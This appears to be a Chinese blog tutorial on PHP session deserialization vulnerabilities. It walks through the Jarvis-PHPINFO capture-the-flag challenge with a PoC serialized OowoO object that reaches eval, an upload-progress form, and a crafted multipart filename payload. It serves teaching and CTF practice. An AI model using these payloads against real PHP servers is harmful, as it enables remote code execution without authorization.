session反序列化漏洞

news/2024/4/16 19:09:55

文章目录

  • 前提知识
    • php代码
    • session_start
    • session.upload_progress.enabled
    • session.use_trans_sid
    • php.ini中Session配置
  • 初步复现
    • 原理
    • 案例
  • 无$_SESSION变量赋值
    • 案例:Jarvis-PHPINFO
      • poc
      • 1.html
      • 改流量包

前提知识

php代码

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session_start

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/

session.upload_progress.enabled

这也是一个php设置的一个参数,在这道题的phpinfo页面,我们可以看到它的这个参数为On。而当它为On时,如果我们向服务器POST一个参数和一个文件,就可以向session中添加一条数据。但是,是有条件的:参数的名字必须和这个参数”session.upload_progress.name“的值同。”session.upload_progress.name“可以在php.ini文件中找到,默认都是“PHP_SESSION_UPLOAD_PROGRESS”。

session.use_trans_sid

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

php.ini中Session配置

session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

session.auto_start	Off
session.save_handler	files
session.save_path	D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler	php

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

打开save路径找到sessionID对应的文件名发现内容如下

session|s:6:"coleak";

对比三种不同

session|s:6:"coleak";
<0x07>sessions:6:"coleak";//这里的0x07是不可见字符
a:1:{s:7:"session";s:6:"coleak";}

在Linux上搭建的话,常见的php-session存放位置有:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

初步复现

原理

使用不同的引擎来处理session文件

案例

1.php

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{var $name;var $age;function __wakeup(){echo "hello ".$this->name."!";}
}
?>

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。

poc

<?php
class student{var $name;var $age;
}
$a = new student();
$a->name =  "coleak";
$a->age = "100";
echo serialize($a);
?>

O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

payload

|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

此时查看文件内容

a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}”;}

访问2.php

hello coleak!

无$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,看官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度

这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

案例:Jarvis-PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new OowoO();
}
else
{highlight_string(file_get_contents('index.php'));
}
?>

查看phpinfo中找到不同的处理引擎

session.serialize_handler php php_serialize

session.upload_progress.enabled On On

session.upload_progress.cleanup Off Off

poc

<?php
class OowoO
{public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

payload

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

1.html

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"><input type="file" name="file"><input type="submit"></form>
</body>
</html>

改流量包

Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain

https://www.xjx100.cn/news/344571.html

相关文章

面试问题汇总

最近面试了几家公司&#xff0c;对问到的问题汇总一下。 Unity 是左手坐标系还是右手坐标系? 这个题靠记忆答的答错了&#xff0c;是左手坐标系。 大拇指指的方向是X轴&#xff0c;食指指的方向是Y轴方向&#xff0c;中指指的方向Z轴方向。 场景中游戏物体Activity为false,G…

github push

几个地方收集来&#xff0c;一个可行的&#xff0c;包括坑。方便大家使用 GitHub常见操作&#xff1a;生成ssh公钥&#xff0c;clone&#xff0c;push_选择ssh方式,用户需要在计算机中生成ssh keys,用来从github中push或pull 生成_大王我亲自来巡山的博客-CSDN博客 GitHub中c…

Chapter5: SpringBoot与Web开发2

接上一篇 Chapter4: SpringBoot与Web开发1 10. 配置嵌入式Servlet容器 SpringBoot默认采用Tomcat作为嵌入的Servlet容器&#xff1b;查看pom.xml的Diagram依赖图&#xff1a; 那么如何定制和修改Servlet容器的相关配置? 下面给出实操方案。 10.1 application.properties配…

微信小程序通过 node 连接 mysql——方法,简要原理,及一些常见问题

前言 博主自己在22年夏天根据课程要求做了一个小程序连接阿里云服务器的案例&#xff0c;在最近又碰到了相应的需求。 原参考文章&#xff1a;微信小程序 Node连接本地MYSQL_微信小程序nodejs连接数据库_JJJenny0607的博客-CSDN博客 ,还请多多支持原作者&#xff01; 第二次…

128. 最长连续序列【中等】

题目 给定一个未排序的整数数组 nums &#xff0c;找出数字连续的最长序列&#xff08;不要求序列元素在原数组中连续&#xff09;的长度。 请你设计并实现时间复杂度为 O(n) 的算法解决此问题。 示例 1&#xff1a; 输入&#xff1a;nums [100,4,200,1,3,2] 输出&#xff1…

第六章 社会主义发展及其规律

一. 单选题&#xff08;共40题&#xff0c;60分&#xff09; 1. (单选题)全部马克思主义学说的核心和理论结论是( ) A. 科学社会主义 2. (单选题)科学社会主义的直接理论来源是( ) C. 19世纪初期以圣西门、傅立叶、欧文为代表的空想社会主义 3. (单选题)社会主义实现…

Redis如何做到内存高效利用?过期key删除术解析!

大家好&#xff0c;我是小米&#xff0c;一个热衷于分享技术的小伙伴。今天我要和大家探讨一个关于 Redis 的话题&#xff1a;删除过期key。在使用 Redis 进行数据存储和缓存时&#xff0c;我们经常会遇到过期数据的处理问题。接下来&#xff0c;我将为大家介绍为什么要删除过期…

STL --- 2、容器 (8)priority_queue

目录 1、std::priority_queue的特点 2、std::priority_queue常用api 3、std::priority_queue应用场景 4、std::priority_queue实例 std::priority_queue是一个STL容器&#xff0c;它是一个优先队列&#xff0c;每个元素都有一个权值&#xff0c;优先级高的元素排在队列的前…